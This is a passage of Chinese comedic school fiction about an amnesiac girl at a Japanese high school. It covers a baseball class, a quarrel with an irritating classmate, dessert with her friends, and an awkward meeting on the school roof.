这不是我第一次看棒球比赛,早在哈鲁酱来探病的时候,我就被拉着和圭酱一起看过一些甲子园比赛的视频,尽管能从哈鲁酱面无表情、但略带星星闪光的眼神中看出他的兴奋,但不管是把棒球忘光的圭酱,还是忘记日语以至于连比赛解说都听不懂的我,看到最后都是一头雾水。
不过大概的流程我还是知道的,只是无法理清各种动作之间的逻辑。
一般是一个人扔球,对面一个人蹲在地上、一个人举着棒球棍蓄势待发,而没有穿着棒球服的裁判则站在蹲在地上的人身后。
而在球被扔出去之后,情况就会像文字类游戏一样走向不同的剧情支线——
球被扔出去了,接住了。
球被扔出去了,被打出去了。
有时候扔着扔着那个打球的人就下场了,也有时候球被打到了一个地方,然后画面就开始往球去的方向切——
有人跑了,紧接着又有人跑了。
有人跑去接球,有人不知道在往哪跑。啊我的意思是我不知道,他们看上去都知道自己在干嘛。
总之,稀里糊涂的,这些人突然就不跑了,然后裁判开始比手势,然后记分牌就变动了。
听上去很抽象对不对?
没错,在我看来,棒球这项运动就是这么抽象,既理解不了他们在干什么,也理解不了观众席又在兴奋什么,一切就像是一出难以理解的默剧。
即便现场观看也还是一样。
“哇——国都君!”
“国都!”
嘛...这个我倒是能听懂,也完全能够理解。
但是...
“国都万岁!”
这个是不是就有点过分了?
你们是哪来的私生饭嘛?
必须承认的是,当国都英一郎拿着棒球棍站上去的时候,不论是热身的动作,还是挺拔优雅的身姿,的确像是那种放在学生时代,会被半个年级的女生、甚至是高年级的学姐告白的人。
但女生就算了,这群看上去甚至更疯狂的男生是怎么回——
磅————————!
棒球被大力挥出的金属球棍击中,令人发颤的碰撞声在空旷的场地上久久回响。
全场一片寂静,不论是场上的人还是围观的人都静止了。
我暗自咽了咽口水,并发誓之后会在国都英一郎大人面前谨言慎行,无论是言辞还是举止都极力避免任何冒犯到他的可能性。
在中国古代,有一种名为斩首的刑罚,负责执行这项意为斩下犯人首级的刑罚的人,也叫刽子手。日本虽然更流行切腹,但据我所知,有时也会有一个名叫‘介错人’的角色、负责在对方切腹之后用砍下脑袋的方式减少其痛苦。
我没有说国都英一郎就是刽子手或者介错人的意思,我只是联想到了而已,想象力这种东西可是不受本人控制的。
总之,一旦落到他手上,以我单薄的身板和稀薄的生命力一定撑不到好心人帮我报警。
如果说我之前还凭借着和国都英一郎短暂的相处,对他产生了‘这是个好人欸’‘他脾气真好’‘可以找机会捉弄他’等大不敬的想法,在见识到这一幕之后,则果断完全摒弃了自己浅薄而愚蠢的认知。
这次我是真的老实了。
真的。
然后我就听到了身边爆发的尖叫、嘶吼和咔擦咔擦的拍摄声。
谁大白天的还开闪光灯?
我忍不住伸手挡了挡闪到眼睛的灯光,但没有停止内心的吐槽。
而且现在是上课时间吧?体育老师还在这里...
原来你也在拍啊,那没事了。
...
不是这合理吗?
好在这个环节没有持续太久,因为我真的吐槽不动了。
而且我从没想过自己会变成吐槽役这种听上去就无人在意的角色。
我承认我的确不喜欢引人注意,但这也不意味着我就会心甘情愿地沦为旁白君。
之后体育老师就安排大家开始分组练习。
分组练习...可是一门很有学问的艺术。
对于不擅长的科目,在分组练习的环节中最重要的,就是根据自己的能力水平,找准自己的定位。
我给自己在体育课程上的评级为E,之所以不是F,是因为我虽然身体素质一般,但小脑发育还算健全,再辅以用于思考的大脑...拿下倒数第二的评级,不过分吧?
但问题是,对于棒球这门功课,不论是我的大脑还是小脑,都毫无用武之地。
我几乎能预见自己站在场上,比起各司其职的队友,完全搞不清状况的我会显得有多...智障。
补药。
补药这么对我。
补药啊.............
所以即使我至今也没弄懂站在不同位置的人都需要做些什么,我还是要凭借目前掌握的情报,找出一个既简单、又轻松的职位。
站着的那个是轮替的,每个人都有机会试,所以不需要讨论。
真正需要选择的,是除此之外的几个位置。
首先排除站着的那个。
这个位置的人,虽然做的动作都很简单,但你看他站的位置和接球的人的位置、再看看他扔球时调动全身肌肉的动作就知道,这是一项十分考验力气的动作,更别说只要一局没有结束,他就要一直投下去。总结,毫无疑问的力量与体力担当,所以NO。
然后排除蹲着的那个。
这个位置的人,虽然看上去只要蹲在那里接球就好了,但仔细观察他的动作就会发现,这个‘蹲姿’就是全场消耗最大的动作没有之一,要知道,有时候不动比动还要累人,不然为什么平板支撑比仰卧起坐更难坚持?所以,这个也NO。
最后就只剩下那几个跑来跑去的人了。
的确,根据国都英一郎他们的示范就能发现,这几个跑来跑去的人当中,有几个的消耗其实是相当小的,就算是我也能勉强胜任的程度。但问题是,听不懂规则和指令的我,就算有人像训狗一样指挥我,我也不会表现地比狗更通人性。所以这个这个和这个,绝对也是NO。
...
妈妈,我想回家。
“有我同学、有我同学?”
“嗨。”
原来是体育老师。
“You can go rest,i know you
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’re still recovering.”
老师,谢谢你。
我再也不会对你出言不逊了,即使是在心里。
于是我就这样如释重负地走到一旁的观赛区,开始看大家像模拟人生里的小人一样,在老师的指引下开始学习不同的动作,然后再用这些刚学会的动作,开始各种练习。
不用担心丢脸以后,我连站在这里看默剧都不觉得无聊了,再说了,我也不是一个人站在这边...
在我旁边,还有一位戴着眼镜的男同学。
而且不同于我被老师临时通知的情况,他似乎早就知道自己不用参与练习,所以他还提前带了本书在旁边看。
我趁他不注意,偷偷瞄了一眼,嗯,果然看不懂。
我发誓我的动作很快,也很隐秘,所以我也不知道他是怎么发现我、然后突然开始抬头看向我这边的。
但是偷看这种事情,只要当事人不承认,就是无解的。
所以我转头看向棒球场上的大家。
装死装死装死。
“有我同学。”
听不懂听不懂听不懂。
“I know you can understand.”他开始说英语了。
那你知道我现在不想跟你说话吗?
“Sorry,i didn’t hear you just before.”
还好我装得一手好傻。
“lier,You were just looking at me.”
我去,这人说话这么不给人留面子?
啊...虽然他说得没错,但还是...不爽。
我默不作声地看了看四周,确定没有人在注意我们之后,轻声开口:
“Mind your own business(管好你自己).”
“哈?”
哈什么哈,我以为你喜欢这么直来直去呢。
他似乎没敢相信刚刚发生了什么,于是他合上手中的书,推了推眼镜,手肘撑在腿上,右手抵着脸侧,饶有兴致地歪头看向我:
“I didn''t hear that. Can you repeat it ?”
这么一看,这人脸长得还挺好看的,但和国都英一郎那种正人君子的俊秀脸不同,这人看起来像那种会在晚上自刀骗药的狼人,形状不错的眼睛里满满的全是坏水。
而他也是个不折不扣的坏东西。
于是我也学着他,露出礼貌的微笑,然后面不改色地说出不礼貌的话:
“If you have a hearing problem, you should see a doctor instead of asking the speaker over and over again.”
说完这句话,我就不打算再搭理这个讨厌的家伙了。
但他突然笑出了声,还是那种抑制不住地大笑,我下意识看向场内,果然大家都被他的笑声吸引纷纷看向我们。
“噗...哈哈哈哈哈...咳咳。”
还笑到咳嗽了...不是,有这么好笑吗?
笑点也太低了吧?
但我还真有点怕他给自己咳出问题来,毕竟他不像我是因为车祸才站在休息区的。一个看上去四肢健全的男高中生,连棒球运动都参加不了,身体肯定比我还差,说不定是那种一半的时间都住在医院里的药罐子。
“咳...”他清了清嗓子,重新开口:“有我同学,现在的你,很有趣。”
他故意用了三个分离的单词,而且没有任何复杂的语法,估计是想让我听懂。
我确实听懂了。
并冒出了一身冷汗。
现在的我...
难道他见过以前的我?
5. 失忆了顺便被举起来了
搞什么...原来是之前认识我的人吗?
那我们之前是什么关系?
看他说话的态度,应该...不太好吧?
可恶,如果是这样的话,什么都不记得的我不就落尽下风了吗?万一他用我不知道的事情给我使绊子...
“对不起。”
我道歉。
“?”
他呆住了,不友善也不礼貌的嗤笑中出现了一丝裂缝,大概是没想到我这人这么能屈能伸。
“No matter what happened before, I hope you won’t  e after me until my memoryes back, please.”
我转过身来,看着他的眼...眼镜,诚恳地请求着。
虽然被我骤然变好的态度打了个措手不及,但作为一个好面子的青春期teenager,他继续维持着自己从容不迫的风度。
“Well, I''m kind of losing out on that, considering how you were... Not so good(我觉得我有点吃亏,毕竟你刚刚的态度实在...不怎么样).”
“哦,Then suit yourself(那随你).”
“...You''ve really changed.(你真的变了)”
他重新扶了扶眼镜,我很想问他你们戴眼镜的人是真的需要时不时去扶眼镜,还是想用这个动作来缓解尴尬?
如果是这样的话我也去配一副好了。
“How?(怎么说)”我打算从他这套出点关于以前的情报。
“In a good way.(向好的方向)”
他又换上了那张看上去就很欠揍的笑脸。
居然故意答非所问,他真的很擅长讨人厌。
想让国都英一郎一棒子抡死他。
...不行,想到这个画面有点忍不住想笑。
于是为了防止被这个脑袋顶上都长眼睛的人发现,我移开了视线——
然后发现刚刚想到的国都英一郎正在看着这边,但因为距离有些远,所以让人有些看不清他脸上的表情。
与此同时,棒球场上。
“怎么了,国都君?”正在向国都英一郎请教挥棒技巧的男生发现刚刚还在说话的国都英一郎突然没了声音。
于是他也疑惑地顺着国都英一郎的视线看去——
“啊,是有我同学和佐佐木啊,应该是在聊以前的事情吧。”
“他们以前认识吗?”国都英一郎随口问到。
“是的。”
听到这个相当自信的回答,国都英一郎有些不解,毕竟上午自我介绍的时候,有我和诗说过自己是女校出身。
“呃...其实我也是听其他人说的,有我同学和佐佐木都经常参加各种学科竞赛,也一起领过几次奖,就以为他们应该是认识的,但是今天看两人都没说过话,还以为他们关系不好呢...”
“现在看上去...的确挺好的。”
像是在说一些关于天气的日常话题,而不是在讨论新同学之间的关系。
“是啊,还挺奇妙的。国都君可能不知道,佐佐木这个人几乎不怎么跟别人说话,然后有我同学...对了,国都君好像跟有我同学关系不错诶,中午看到你们一起吃饭来着...难道你们也是从开学前就认识了吗?”
他觉得自己发现了真相,难怪专注棒球的国都君突然开始关心起别人的事情了。
“不,我也是今天才认识有我同学。”
他没有否定对方说的自己跟有我和诗关系不错的评价,尽管他不能确定这种说法在她的眼中是否成立。
很快,体育老师吹响了集合的哨声。
“抱歉,铃木同学,光顾着问你问题,还没好好回答你的提问呢。”
“不不不,国都君太客气了,我已经学到很多东西了,是我要多感谢你才是。”
“没关系,能得到铃木同学的肯定,是我的荣幸。”
“国都君,真是太谦虚了!”
体育课解散以后,大家先去换回了校服,然后纷纷回到了教室。
接下来就没有课程了,剩下的时间都留给新生去参加各社团的招新活动,为接下来的社团申请做准备。
但这之中不包括国都英一郎,他没有和大家一起回教室,而是直接走向了棒球场旁边的休息室。
回到教室后,我已经换回了校服,准备拿上书包去社团招新的地方随便看看...当然还是一个人。
显然,我没有延续早上的好运。
一天下来,我还是只认识了国都英一郎这一个人,我本来以为他会是我交到的第一个朋友,但经历了下午的事情之后,我决定还是跟这种自带注意力收集器的人保持一定的距离...而且他打棒球的时候看上去还那么不好惹。
而除了他之外,这一天我唯二说过话的同班同学就只剩下——
坏眼镜了。
呃,好像不能这么说,因为他又把眼镜摘下来了。
等等,他怎么朝我走过来了?
他在我面前开始掏出手机打字,然后递到我面前:
【你打算加入哪个社团。】
“You can speak English.”
所以你为什么还要打字。
【使用非母语也是耗脑子的一件事。】
“I don''t feel that way.”
【这是在炫耀吗?】
“Sorry,I didn''t mean to.”
我尽量让自己看上去不那么刻薄,
“ To answer your question, first of all I don''t know what the clubs are, so I don''t know, and second of all, does it matter to you?(回答你的问题,首先我不知道有哪些社团,所以我也不知道。其次,这跟你有关系吗?)”
【你现在很容易生气嘛。】
“I''m not angry.”
【总之,我只是想了解你现在的打算,毕竟你看上去不止是忘记说日语了,估计连以前的事也忘记了吧。】
我回以漠不关心的沉默。
【要说关系的话,你就把这当作老朋友的关心吧。】
我满脸狐疑地看着他,说实话,听他这么说我莫名觉得有点恶心。
不对,我就应该觉得恶心。
臭小子,就仗着我不记得在这编吧。
懒得再搭理他,我拿上单肩包就准备离开教室。
但没想到他居然脸皮厚到自顾自地跟了上来。
我已经不想说他了,毕竟说了也没用。
见我没有反对,他甚至得寸进尺地走到了我的旁边,而我只能继续把他当空气。
说实话,我是有点挫败的,早上的时候还好好的,不论是自我介绍还是新生代表发言我都完成地很好,但像我这样的人,不努力争取什么的话,就什么都无法得到。
...
奇怪,我为什么会产生这样的想法。
一定是因为最近水逆趋势太明显了。
总之,我不否认我是一个社交需求不怎么强烈的人,但开学这段时间可是很重要的,如果没能在这段时间交到能一起吃饭、一起放学回家的朋友,之
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后估计也要一个人度过了,而且如果是不那么理想的环境,则会大大增加被孤立、被不怀好意的坏孩子盯上的风险——
不对,我已经被盯上了。
我幽怨地看着低头朝我微笑的——
“Tell me your name.”
【祈使句呢,好霸道啊。】
“...”
【佐佐木等】
“嗤...”
看到这个名字,我突然捂住嘴,转向一边。
“That''s rude.”他撇了撇嘴。
“I know...”我还是忍不住在笑。
“Why.”
“It''s hard to explain....it''s a Chinese joke.”
他不死心地把手机递到我面前,看来是宁可等我打字也得到一个解释。
于是我绞尽脑汁地想办法向他解释了‘等’这个字,放在代表人名的汉字之后时会产生的整体效果。
用英文来说就是‘apple’后面加了一个‘s’。
明明是他一个人的名字,却出现了一种人山人海的感觉。
所以我上哪找一个又懂中文又有幽默感的人出来!
啊啊啊好难受,发现一个很好笑的梗却没法跟人分享的感觉。
看完我打出来的文字后,他陷入了沉默。
我以为他没看懂,于是伸手去拿他的手机,但他顺手就把手机收紧了口袋。
我扑了个空。
他不仅没有笑,而且还开始用一种充满同情的眼光看着我。
...
我讨厌你!
为了表达我的愤怒,在参观社团招新的时候,我没有再跟他说一句话。
不过看了一圈,我好像也没有什么特别感兴趣的社团,准确来说,我根本不知道自己喜欢什么。
体育类的首先排除,我还没有闲到给自己找罪受的地步。
艺术类...好像没怎么了解过。
语言类的话首先我现在的日语水平估计连小学生都比不过,其次...不知道为什么,我有点排斥那个辩论社,即使曾经的有我和诗在这个领域取得过相当耀眼的成绩。
但管她的,顺从她的意愿来帝德已经是我作出的最大的让步了,要不要加入社团,加入什么社团——都由我自己决定。
虽然我今天大概是选不出来的...算了,反正还没到截止日期,之后再说。
“哇——————”
嗯?发生什么事了?
好奇心让我的双腿开始不受控制地向着声源处迈进。
怎么又到棒球部了。
【你什么时候开始对棒球感兴趣了。】
管得着吗你?
一天到晚的哪来这么多问题。
“I just want to see what''s going on here, you know.”
我毫不避讳地说出了自己看热闹的心态,毕竟人嘛,就是走到哪都会被热闹吸引的物种。
所以他们到底在看什么?
围在前面的人太多,而我的身高又只是平均水平,无法跨过眼前这道人墙,不过有个人倒是可以。
“What''s going on in there?”
我抬头看向明明身体连体育课都参加不了,身高却优于常人的佐佐木等,希望他能好心告诉我。
但我没想到他的好心居然泛滥到了这种程度,否则我绝对不会开口问他。
“You really want to know?”
我用力点头,眼中满是对八卦和新奇事物的渴望。
然后他二话不说就把我...
举了起来。
6. 失忆了顺便下定了决心
我的第一反应是,他不是身体不好吗?怎么举起来的?哦,是抱着我的腿。
第二反应:
怎么又被人举起来了...
然后我意识到不论是围观的人还是场内的人都在看着我们...而且还包括就坐在铁丝网前方,此时正和我面面相觑的国都英一郎。
他看上去有些茫然,似乎完全不能理解自己的同班同学为什么突然出现在了空中,并且还隔着铁丝网看着自己。
我懂你,因为我也很茫然。
而且我现在很想去死。
好了,现在我连唯一一个朋友都要失去了。
但最该死的另有其人。
“Put me down.”
佐佐木等把我放回了地面,我一秒都没有犹豫,拉着背包肩带,转身就走。
妈妈,我要转学。
不管是小手指还是哪,总之...帝德这个地方已经没有我的容身之处了。
“有我同学,我...”
而造成这一切的罪魁祸首佐佐木等居然还想追上来,我猛地回头,瞪了他一眼后,继续怒气冲冲地蒙头前进。
直到我回到家,一头扎进枕头。
真是糟糕透了...
叮———
谁啊...
我从口袋里掏出手机,不耐烦地点开,然后看到圭酱发来的...好多条消息。
我翻了个身,躺在床上从头看了起来。
【[圭酱的自拍照.jpg]开学第一天!穿上高中校服的我会被多少女生搭讪呢?】
【呜啊啊啊啊,女生们都只跟叶流火那家伙说话,我只能一个人假装看手机了...】
【没想到小手指居然也有棒球社,而且小叶流怎么说也要拉着我和小山去。对了,小山是我们新认识的朋友哦!他是个超好的人,我之前还以为他是以前认识的朋友呢,不过猜错啦!嘿嘿。但是没关系,因为我们现在就是朋友了,而且还是同班,yeah~!顺带一提我和小叶流也同班哦。超lucky!】
【还是来棒球社参观了,原因是两个大便前辈跟哈鲁酱找事,那家伙直接就同意了...没办法,最后还是我上场发挥了。但是那个捕手面具真的超逊的!又痒又臭又逊!不过我还是戴着它和小叶流一起打赢了哦。虽然小山说这不算什么正经比赛,但他还是说我很厉害!】
【唔...虽然我觉得刚开学忙着交朋友所以没时间看手机也很正常...我也没有责怪和诗酱的意思,但是呢...但是我发了这么多条消息和诗酱一条都没回我呢。】
【放学了嘛?和诗酱一定也还没加入社团吧,要不要一起去吃甜品呢,我发现附近有一家看上去很不错的家庭餐厅哦。】
这是最新一条消息,也是刚刚发来的那条。
叮————
又有一条新消息。
【去吃点心了。】
是哈鲁酱发来的。
感谢住院,让我认识了圭酱和哈鲁酱,至少让刚刚经历社会性死亡的我看上去没那么可怜。
哦对了,差点忘了谢谢你,把我撞飞的计程车司机。
我一边起身往外走,一边拨通了接圭酱的电话——反正哈鲁酱一般就刷新在他旁边。
“在哪。”
“楼下哦!”
我怔了怔神,过了几秒才反应过来去拉开窗帘,就看到正站在楼下笑着朝我挥手的圭酱和傻站在一边抬头看着我的哈鲁酱。
我眨了眨眼。
吸了吸鼻子。
眼泪...给我憋回去。
我一边走下楼梯,一边擦了擦眼角,确保自己没有露出哭过的痕迹后,才一鼓作气地开门。
“和诗酱,你哭了?”圭酱一脸担忧地看着我。
“看了,电影,太感动了。”
“诶~什么电影?”
“盗梦空间。”我随口说了一部知道的片子。
但就在我意识到这部电影没有什么著名的催泪桥段时,已经晚了。
“哈鲁酱,下次我们也看看吧。”他用手肘捅了捅超大一只的哈鲁酱。
“下次打棒球。”超大一只的哈鲁酱如是说。
“无路赛呐~哈鲁酱!”
我松了口气,还好这两人大概都没看过这部电影,否则我那蹩脚的谎话绝对会露馅。
走到店里后,我和圭酱各自点了一份饮品和点心。只有哈鲁酱这个不知所谓的人点了茶泡饭。
“晚上,不吃饭了吗?”
“晚上,回家,吃饭,妈妈会做。”
“那为什么...”算了,还是不问了。
我们听上去像两个刚被植入日语系统的人工智能,而且我知道这完全是我的责任,哈鲁酱看着不太聪明,但日语至少还是能说得很流利的。
不能让他为了迁就我,让他看上去所剩无几的智商再大打折扣了。
“?”哈鲁酱的疑问写在了脸上。
“没什么。”我摇了摇头。
他又开始吃他的茶泡饭了。
“Make new firend?”圭酱问我。
比起某个讨厌的家伙,圭酱的英语说得没那么‘正确’,但不妨碍我理解,而且在我这里,如果那个不会看场合的坏水男是负一百分的话,圭酱就是满分,一百分。
但是关于新朋友这个话题...
我想到了国都英一郎,从上午的发展来看,我们差不多是那种走在路上遇见了能互相问好的朋友,但下午的事情又让我想要跟他保持一些距离,即使他本人是个很好的人。
又善良、又善解人意、还很温柔。
我迟缓地点了点头。
“诶~不错嘛,是怎样的女孩子?”
不是女孩子,是...
“男人。”
圭酱手里的勺子掉在被扫荡一空的点心碟里,正中红心,玻璃与玻璃之间的碰撞也发出了清脆的响声。
哈鲁酱用筷子不停往嘴里送饭的动作也顿了一下,然后他也把碗放下了,用那张因为沾了一粒米饭而显得更呆了的脸看着我。
“怎、怎么了?”
两人谁都没有回答我的问题,而是凑到一起,当着我的面窃窃私语着什么。
喂。
我人还在呢。
这两个混蛋。
还有你两现在都是39分,差一分就能及格的分数。
“摩西米西米西莫希...”圭酱一边挡着嘴不停说这些什么,一边时不时往我这边瞟一眼。
...更火大了。
“嗯...嗯...”哈鲁酱则一边听一边频频点头。
讨论结束后,两人才重新正坐在我面前。
“和诗酱,你们是怎么认识的?How you meet?”
“同学。”
“嗯呃...How you be friend?”他看上去已经要拿出毕生所学了。
“自我介绍,很安静,他鼓掌,大家一起鼓掌。”说着说着我不禁回忆起了上午的场景。
“中午,我一个人,午餐,他和我,一起。”
我一边回忆着白天发生的事情,一边搜刮着我光滑的大脑皮层微不可见的沟壑中残余的日语词汇,将这些事件用我的方式描述出来——
但我太过于专心组织语言,所以没有发现坐在对面的圭酱表情更凝重了。
“对了。他还让我说汉语,我说,他努力,理解我。”
圭酱深吸了一口气,一副如临大敌的样子,而哈鲁酱则保持着严肃的表情,但我觉得他大概跟圭酱不在一个频道,而且也没真的理解到什么。
所以我也不知道他在那边严肃个什么劲。
“巧克力手指饼干,送给他了,就这样。”
“完蛋了。”圭酱一拳锤在了桌面上,脸上是咬牙切齿的狰狞。
...什么完蛋了,我的人生完蛋了吗?
我知道啊,我从那个时候开始就知道了。
想到那件事,我的情绪又低落了下来。
然后我也慢慢趴到了桌子上。
圭酱发现了我的不对劲。
“呆胶布?”
“完
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全不。”
“为什么?”这次问我的是哈鲁酱。
“有个人,把我举起来,当着很多人,超丢脸。”
哈鲁酱皱起了眉毛,他知道我很害怕‘丢脸’‘尴尬’,至于原因嘛...下次再说。
“谁?”
“不会是——”圭酱花容失色。
“不是同一个人。”我连忙补充。
“杀。(阔落四)”
“You''ll go to jail.”吐完这句话,我晃晃悠悠地从桌上爬起。
“呆胶布,我会,亲手解决他。”我宣告着自己的决心。
听到这段宣誓,哈鲁酱认可地点了点头。
回去的时候,圭酱告诉我,如果在学校觉得无聊的话可以给他发消息,不管上没上课他都会看的。
我跟他说上课的时候还是别看了吧,搞不好手机还会被老师没收。
他说没关系,哈鲁酱还在上课的时候泡茶泡饭呢。
我甚至怀疑自己听错了,毕竟我日语确实不好。
...这个世界上还存在约束这个人的法则吗?
回到家的时候,妈妈已经做好了晚餐。
我当然还吃得下了,甜品这种东西可是用另一个胃袋装的。
吃饭的时候,我没有提转学的事情,毕竟我已经在哈鲁酱面前夸下海口了,不管怎么说,至少要解决掉那个祸害才行。
所以当妈妈问起我的开学日时,我只挑了好的方面说,庆幸的是,能说的事还挺多。
“你喜欢他吗?那个叫国都的男孩子。”
我正在喝水,所以我呛到了。
等我好不容易平复下来,想说的话已经一股脑倒了出来——
“妈妈你也太不讲基本法了!这才第六章啊!被旁人捅破窗户纸意识到自己的心意这种事情,怎么也得先演个八集再上演吧?而且没有!只是朋友!”
我很想这么说来着。
但奈何我的日语水平实在让人恨铁不成钢,所以我只能把这段话缩写成几个字。
“只是朋友。”
“诶~~~只是~~~朋友~~~~~,哼哼,唯一的朋友~~~~呢。”
如果对方先为老不尊,那我是不是就可以不尊老爱幼了?
第二天上学的时候,我开始不自觉地在意起周围人的议论声,可能是心理作用吧,总感觉有人在说我。
嗯,一定是心理作用。
人生哪有那么多观众。
“早上好,有我同学。”
有人走到我身边,是国都英一郎。
“嗨,早上好,国都大...君。”
差点叫成大人了。
想到那几颗被他磅磅磅打出去的棒球,果然还是心有余悸。
“嗯。”他微笑着点头,没发现我话说得很磕巴,也可能是对我的日语水平心里有数,即使发现了也没有戳破。
我再再再次感叹,他真的是个niced guy,所以打出那种凶悍的球也说明不了他本性中就必然带有暴戾的因子,或许他只是单纯地擅长棒球。
没错,一定是这样,这种好孩子一定是那种百分百无添加、不掺杂任何有害物质的纯牛奶。
【昨天放学的时候发生什么事了吗?】
啊,观众嘛...也是有的。
不过这也怪不了他,那种情况很难不注意到吧,要怪也应该怪...
“还能来上学?看来你也没那么生气嘛。”
没错,都怪这个人。
佐佐木等突然出现在我右边,虽然没有完全听懂他说的话,但语气怎么听怎么让人火大。
于是我故意装作没听到他说话,继续回答着国都英一郎的问题。
“没什么大事。”我摇了摇头,毫不在意地说到。
“诶~被我抱起来看热闹也不算什么大事吗?我记得某人可是气得话都没说就走了。”
这下我确定了,或许他的确是在说跟我有关的事情,但他明显是说给另一个能听懂日语的人听的。
国都英一郎也发现了这一点。
7. 失忆了顺便踢到了不该踢的人
不知道佐佐木等到底说了什么,一向宽和待人的国都英一郎居然皱着眉头,神情严肃:
“佐佐木同学,你跟有我同学是正在交往的关系吗?”
“不,完全不是。”
“那就不应该对有我同学做那种事情吧?”
“可是...这跟国都君又有什么关系呢?”
“她生气了不是吗。”
“哈?”佐佐木等发现这两人说话怎么都有种让人摸不着头脑的迷惑。
“知道自己做的事情已经让对方难堪了,不仅没有道歉,还仗着她听不懂自己说的话在旁人面前曲解她的本意。实在是...太卑劣了。”
“哈...”面对这一通指责,佐佐木等直接气笑了。
“你是以什么立场在这里说这种话的?而且我要是没记错的话,我认识有我的时间应该比你更久吧?”
“不需要任何立场,即使是在现在,有我同学也不喜欢你的接近。”
虽然听不懂他们在看似心平气和地说着些什么,但我敏锐地察觉到了氛围的变化,这两个人的谈话绝对没有他们表现出来的和平,恰恰相反,连我这个一个字都没听清的人都感觉到了一种剑拔弩张的气氛。
不会打起来吧?
难道我昨天许下的愿望要成真了?
不行啊国都君,你可不能像哈鲁酱那个笨蛋一样做傻事啊。
我是说至少留他一条狗命。
就在我的思绪不断发散的时候,两人突然齐唰唰地看向我。
啊?我吗?
我犹豫着伸出食指,指向自己。
“你...”
眼见着佐佐木等就要向我靠近,我出于本能地向旁边一闪,动作迅速地像是在躲避某种污染性极强的有害物质。
离我远一点,你这个脏东西。
然后他就不说话了,而且脸色阴沉地可怕。
这也惹到你了...
说实话他这样看起来其实挺吓人的,但大白天的,当着这么多人的面,我就不信他敢对我这个身体半痊愈脑子完全没康复的病号痛下毒手——
下一秒,站在我身后的国都英一郎留下一句“失礼了”,拉着我垂在身侧的一只手离开。
突如其来的肢体接触让我没有多余的心思去想另一个人的事情,即使他用的力气很小,我的脚步也自动跟了上去。
他握的地方是我的手腕,隔着一层衬衫和一层制服外套,所以虽然惊讶,但远远没到会让我觉得难受的程度。
不过我还是感受到了他的体温,大概是来自掌心的热度。
但我想他应该不是故意的。
走到教学楼附近,路过的学生逐渐变多,他也默不作声地松开了我的手腕,随后一脸抱歉地看向我,想为自己的冒犯开口道歉。
“谢谢你,国都。”话说出口我才意识到,这次念他的名字,因为不小心用了中文的读法,所以也忘记了带上敬语的尾缀。
好在他并不在意这些东西。
就像他不需要我的敬语一眼,我也不需要他的道歉,相反,我认为做好事的人应该得到相应的感谢。
他没想到我会这么说,短暂的愣怔过后,又露出和以往一样的微笑——他看上去很高兴。
来到教室以后,距离正式上课还有一段时间,我坐在座位上,翻开那本看了一半的日语教材。
保守估计,学完这本书,我至少可以听懂并且说出一部分简单的句子了。
而不是像个人机一样,一个词一个词地往外蹦。
上午的课程还是一样,除了英语课,其他内容基本只能靠猜,有数字和字母板书的数学课显然更好猜,而国文课我就只能当作是在检验自己的单词背记水平了。
会有挫败感嘛?好像还好。
毕竟我现在是个文盲嘛,听不懂也是没办法的事情,而且我也已经在努力了的说。
中午吃饭的时候,我直接带着便当盒一个人去到了天台。
为什么不和国都英一郎一起?为什么不去学生餐厅?
因为我是一个会看人眼色的人。
国都英一郎跟班上的男生关系都不错,虽然大家对他总是崇拜和维护过度的喜爱居多,但不可否认的是,的确有很多人都想跟他一起活动。而且从昨天下午的情况来看,作为棒球部成员的他,跟部里的成员们也保持着不错的关系。
他好像还是住校生,既然这样的话,晚上也会跟别人一起吃饭吧。
所以他如果继续像昨天那样跟我一起吃饭,就会出现以下两种情况。
1.为了照顾我的感受,拒绝邀请他一起用餐的朋友。
2.带上我和他的朋友一起用餐。
当然了,擅自认为别人一定会在用餐这件小事上介意我这个外人,也是一件不太礼貌的事。
所以我更多地是出于自己的考虑。
我乐于接受他人的好意,也不会为了逞强而拒绝他人自愿提供的帮助。
但唯独一点,我绝对无法接受。
那就是带有‘牺牲’意味的帮助,即使这点牺牲根本就微不足道,或者在对方心里也并不存在——
但我不愿意接受这种带有重量的好意,即使是一点点无关紧要的重量,我也不愿意。
所以与旁人无关,是我在斤斤计较。
我带上手机和耳机线,一个人来到了天台。
我想靠着墙壁坐下,屋檐很窄,但刚好够遮住正午的太阳。
如果说一定有什么不方便的...
可恶,忘了现在穿的是裙子了。
于是我开始在天台搜寻可以用来充作坐垫的废报纸或其他替代物品。
就在我茫无目的地四处搜寻时,我踢到了...
一、一条人?
好厉害,凑够五条就能组成一个知名乐队了!
不对,现在不是玩梗的时候!你这个糟糕的家伙!
“对不起对不起真的对不起!I I didn''t mean to.”
怎么没反应?难道是睡着了?
这人背对着我的方向,侧躺在地上一只手向上伸出另一只手垂在身前。
我无比庆幸自己踢到的不是他的手,不然他绝对会醒过来。
既然这样.....
我不动声色地原地蹲下,拽起自己的袖子,企图在不惊醒对方的情况下轻轻擦拭着刚刚用脚在他身上留下的一点灰尘。
就在我以为万事大吉的时候,他突然转了过来——
我就这样猝不及防地闯入了一双微微瞪大的眼睛。
并且看到了这条人型生物完整的长相。
短粗但形状规整的眉毛,过度蓬松的白色短发,越睁越大的又圆又有点像某种兽类的眼睛——
要不是我从一开始就发现了这人其实是一长条,我估计都要以为这是哪位老师带来学校的小孩。
“呃...啊...”他的声音像是卡在了喉咙里,半
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天说不出话。
而我则在意识到两人不合适的距离后,就迅速退后,而不是直接站起身。
因为我已经意识到自己穿的是裙子了。
“这是梦吗?”
“现实。”这是我会的,为数不多的高级词汇。
“那、那你是?”
“不认识。”我摇了摇头。
听到这句话,他突然往地上一摊,又变成了之前的姿势。
...啥玩意?
并且开始了碎碎念,但我根本听不懂他在说什么。
再结合他之前莫名其妙的发言,我联想到了一种可能性。
正处于青春期的问题少年,可能因为各种各样的理由陷入一些小众的宗教崇拜当中,例如在部分欧美地区流行的恶魔教。
所以有没有可能...我刚刚其实是打断了别人的宗教仪式。
顾不上寻找垫纸,我只想快点离开这个是非之地...准确来说是远离这个刚刚被我不小心‘得罪’的危险人物。
我不怕他在那边画个圈诅咒我,我怕的是他本人真的作出什么报复行为。
侥幸从一场不严重的车祸中幸存下来的我,还是很惜命的。
而他转过去的姿势也方便我起身。
“飞高!原来你在这里啊。”
突然,天台的门再次被打开,他看到了躺在地上的人,也看到了站在他旁边的我,我不瞎,我也看到了这位...
巨人。
看到这不同寻常的身高,我产生了一个庸俗、但经历过‘姚明热’的人都会有的想法——这孩子不去打篮球真是可惜了。
“你好。”
他朝我笑了,但我没看清他的脸,我只觉得该死的什么东西好刺眼————
我甚至伸手挡了挡眼睛。
